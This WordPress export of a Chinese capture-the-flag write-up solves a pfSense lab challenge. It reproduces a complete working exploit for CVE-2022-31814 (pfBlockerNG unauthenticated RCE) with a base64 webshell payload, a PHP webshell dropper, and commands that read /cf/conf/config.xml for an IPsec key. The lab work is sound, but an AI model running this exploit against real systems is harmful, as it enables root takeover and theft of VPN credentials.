{"id":165,"date":"2025-07-15T18:18:03","date_gmt":"2025-07-15T10:18:03","guid":{"rendered":"https:\/\/blog.llxyy.top\/?p=165"},"modified":"2025-07-15T18:18:03","modified_gmt":"2025-07-15T10:18:03","slug":"polar%e9%9d%b6%e5%9c%ba-misc-pfsense%e9%a2%98%e7%9b%ae%e8%af%a6%e8%a7%a3","status":"publish","type":"post","link":"http:\/\/blog.llxyy.top\/index.php\/2025\/07\/15\/polar%e9%9d%b6%e5%9c%ba-misc-pfsense%e9%a2%98%e7%9b%ae%e8%af%a6%e8%a7%a3\/","title":{"rendered":"Polar\u9776\u573a-Misc-pfsense\u9898\u76ee\u8be6\u89e3"},"content":{"rendered":"\n

pfsense<\/h2>\n\n\n\n

\u95ee1\u00b7\u4ece\u6d41\u91cf\u6570\u636e\u5305\u4e2d\u627e\u51fa\u653b\u51fb\u8005\u5229\u7528\u6f0f\u6d1e\u5f00\u5c55\u653b\u51fb\u7684\u4f1a\u8bdd\uff0c\u5199\u51fa\u5176\u4e2d\u653b\u51fb\u8005\u6267\u884c\u7684\u547d\u4ee4\u4e2d\u8bbe\u7f6e\u7684flag\u5185\u5bb9<\/strong><\/p>\n\n\n\n

\u8fc7\u6ee4http\uff0c\u5728GET\u8bf7\u6c42\u4e2d\u627e\u5230\u52a0\u5bc6\u7684flag,base64\u89e3\u5bc6\u5373\u53ef<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
<?$a=fopen(\"\/usr\/local\/www\/system_advanced_control.php\",\"w\") or die();$t='<?php print(passthru( $_GET[\"c\"]));?>';fwrite($a,$t);fclose( $a);?>flag{c930a20729cd710c9ac2e1bcd36856e5}<\/code><\/pre>\n\n\n\n
flag{c930a20729cd710c9ac2e1bcd36856e5}<\/p>\n\n\n\n
\u95ee2\u00b7\u653b\u51fb\u8005\u901a\u8fc7\u6f0f\u6d1e\u5229\u7528\u83b7\u53d6\u8bbe\u5907\u63a7\u5236\u6743\u9650\uff0c\u7136\u540e\u67e5\u627e\u8bbe\u5907\u4e0a\u7684flag\u6587\u4ef6\uff0c\u5199\u51faflag\u7684\u6587\u4ef6\u5185\u5bb9<\/strong><\/p>\n\n\n\n
\u9996\u5148\u5224\u65ad\u6f0f\u6d1e\u7c7b\u578b\uff0c\u5206\u6790\u6b64\u6bb5\u4ee3\u7801\u4e3aCVE-2022-31814pfsense\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c<\/p>\n\n\n\n
<?$a=fopen(“\/usr\/local\/www\/system_advanced_control.php”,”w”) or die();$t='<?php print(passthru( $_GET[“c”]));?>’;fwrite($a,$t);fclose( $a);?><\/p>\n\n\n\n
\u4f7f\u7528exp<\/p>\n\n\n\n
\u6765\u6e90\uff1ahttps:\/\/www.exploit-db.com\/exploits\/51032<\/a><\/p>\n\n\n\n
# Exploit Title: pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)\n# Shodan Results: https:\/\/www.shodan.io\/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22\n# Date: 5th of September 2022\n# Exploit Author: IHTeam\n# Vendor Homepage: https:\/\/docs.netgate.com\/pfsense\/en\/latest\/packages\/pfblocker.html\n# Software Link: https:\/\/github.com\/pfsense\/FreeBSD-ports\/pull\/1169\n# Version: 2.1.4_26\n# Tested on: pfSense 2.6.0\n# CVE : CVE-2022-31814\n# Original Advisory: https:\/\/www.ihteam.net\/advisory\/pfblockerng-unauth-rce-vulnerability\/\n \n#!\/usr\/bin\/env python3\nimport argparse\nimport requests\nimport time\nimport sys\nimport urllib.parse\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n \nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n \nparser = argparse.ArgumentParser(description=\"pfBlockerNG <= 2.1.4_26 Unauth RCE\")\nparser.add_argument('--url', action='store', dest='url', required=True, help=\"Full URL and port e.g.: https:\/\/192.168.1.111:443\/\")\nargs = parser.parse_args()\n \nurl = args.url\nshell_filename = \"system_advanced_control.php\"\n \ndef check_endpoint(url):\n        response = requests.get('%s\/pfblockerng\/www\/index.php' % (url), verify=False)\n        if response.status_code == 200:\n                print(\"[+] pfBlockerNG is installed\")\n        else:\n                print(\"\\n[-] pfBlockerNG not installed\")\n                sys.exit()\n \ndef upload_shell(url, shell_filename):\n        payload = {\"Host\":\"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '\"}\n        print(\"[\/] Uploading shell...\")\n        response = requests.get('%s\/pfblockerng\/www\/index.php' % (url), headers=payload, verify=False)\n        time.sleep(2)\n        response = requests.get('%s\/system_advanced_control.php?c=id' % (url), verify=False)\n        if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):\n                print(\"[+] Upload succeeded\")\n        else:\n                print(\"\\n[-] Error uploading shell. Probably patched \", response.content)\n                sys.exit()\n \ndef interactive_shell(url, shell_filename, cmd):\n        response = requests.get('%s\/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)\n        print(str(response.text)+\"\\n\")\n \n \ndef delete_shell(url, shell_filename):\n        delcmd = \"rm \/usr\/local\/www\/system_advanced_control.php\"\n        response = requests.get('%s\/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)\n        print(\"\\n[+] Shell deleted\")\n \ncheck_endpoint(url)\nupload_shell(url, shell_filename)\ntry:\n        while True:\n                cmd = input(\"# \")\n                interactive_shell(url, shell_filename, cmd)\nexcept:\n        delete_shell(url, shell_filename)\n            <\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u590d\u5236\u540e\u521b\u5efapy\u6587\u4ef6\u5e76\u5728\u8bb0\u4e8b\u672c\u4e2d\u6dfb\u52a0\u4ee3\u7801\u4fdd\u5b58\uff0c\u63a5\u4e0b\u6765\u6309\u8981\u6c42\u8bbe\u7f6e\u865a\u62df\u673a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u914d\u7f6e\u597d\u540e\u6253\u5f00\u865a\u62df\u673a\u540e\u53ef\u4ee5\u6b63\u5e38\u8bbf\u95ee\u9898\u76ee\u6240\u7ed9\u51fa\u7f51\u7ad9\uff0c\u4f46\u662f\u672a\u77e5\u8d26\u53f7\u5bc6\u7801<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd4\u56de\u5f53\u65f6\u521b\u5efapy\u6587\u4ef6\u76ee\u5f55\uff0c\u6267\u884c<\/p>\n\n\n\n
python 1.py –url http:\/\/61.139.2.139\/<\/p>\n\n\n\n
\u4e0a\u4f20\u6210\u529f\u540e\u67e5\u627eflag\u5185\u5bb9<\/p>\n\n\n\n
find \/ -name flag*<\/p>\n\n\n\n
cat \/home\/ctfer\/flag.txt<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{1b030dacb6e82a5cca0b1e6d2c8779fa}<\/p>\n\n\n\n
\u95ee3\u00b7\u627e\u51fa\u5e76\u63d0\u4ea4\u53d7\u63a7\u673a\u8bbe\u5907\u4e2d\u666e\u901a\u7528\u6237\u7684IPsec\u9884<\/strong>\u5171\u4eab\u5bc6\u94a5<\/strong><\/p>\n\n\n\n
\u67e5\u8be2\u8d44\u6599\u5f97\u77e5\u76ee\u6807\u4f4d\u7f6e<\/p>\n\n\n\n
\u5728 pfSense \u4e2d\uff0cIPsec \u9884\u5171\u4eab\u5bc6\u94a5\uff08PSK\uff09\u4ee5\u52a0\u5bc6\u5f62\u5f0f\u5b58\u50a8\u5728\u914d\u7f6e\u6587\u4ef6\u4e2d \uff0c\u5177\u4f53\u8def\u5f84\u4e3a\uff1a\/cf\/conf\/config.xml<\/p>\n\n\n\n
1.\u5b58\u50a8\u5f62\u5f0f \uff1a<\/p>\n\n\n\n
PSK \u4e0d\u4f1a\u4ee5\u660e\u6587\u5b58\u50a8\uff0c\u800c\u662f\u901a\u8fc7 pfSense \u7684\u52a0\u5bc6\u673a\u5236\u4fdd\u5b58\u5728 <ipsec><\/code> \u6807\u7b7e\u5185\u7684 <phase1><\/code> \u914d\u7f6e\u6bb5\u4e2d\u3002<\/p>\n\n\n\n
2.\u8bbf\u95ee\u6743\u9650 \uff1a<\/p>\n\n\n\n
    \n
  1. \u00a0\u00a0\u8be5\u6587\u4ef6\u53ea\u6709 root \u7528\u6237 \u6216\u901a\u8fc7 \u7ba1\u7406\u5458\u6743\u9650 \u53ef\u8bfb\u5199\u3002<\/li>\n\n\n\n
  2. \u00a0\u00a0\u666e\u901a\u7528\u6237\u9ed8\u8ba4\u65e0\u6cd5\u76f4\u63a5\u67e5\u770b\u6216\u7f16\u8f91\u6b64\u6587\u4ef6\u3002<\/li>\n<\/ol>\n\n\n\n
    \u6267\u884c\u547d\u4ee4\uff1a<\/p>\n\n\n\n
    cat \/cf\/conf\/config.xml<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u4e0b\u6ed1\u627e\u5230\u5171\u4eab\u5bc6\u94a5<\/p>\n\n\n\n
    flag{bde4b5e2d0c43c177895f6f5d85beb97}<\/p>\n","protected":false},"excerpt":{"rendered":"
    pfsense \u95ee1\u00b7\u4ece\u6d41\u91cf\u6570\u636e\u5305\u4e2d\u627e\u51fa\u653b\u51fb\u8005\u5229\u7528\u6f0f\u6d1e\u5f00\u5c55\u653b\u51fb\u7684\u4f1a\u8bdd\uff0c\u5199\u51fa\u5176\u4e2d\u653b\u51fb\u8005\u6267\u884c\u7684\u547d\u4ee4\u4e2d\u8bbe\u7f6e\u7684flag […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-165","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/blog.llxyy.top\/index.php\/wp-json\/wp\/v2\/posts\/165","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/blog.llxyy.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/blog.llxyy.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/blog.llxyy.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/blog.llxyy.top\/index.php\/wp-json\/wp\/v2\/comments?post=165"}],"version-history":[{"count":1,"href":"http:\/\/blog.llxyy.top\/index.php\/wp-json\/wp\/v2\/posts\/165\/revisions"}],"predecessor-version":[{"id":175,"href":"http:\/\/blog.llxyy.top\/index.php\/wp-json\/wp\/v2\/posts\/165\/revisions\/175"}],"wp:attachment":[{"href":"http:\/\/blog.llxyy.top\/index.php\/wp-json\/wp\/v2\/media?parent=165"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/blog.llxyy.top\/index.php\/wp-json\/wp\/v2\/categories?post=165"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/blog.llxyy.top\/index.php\/wp-json\/wp\/v2\/tags?post=165"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}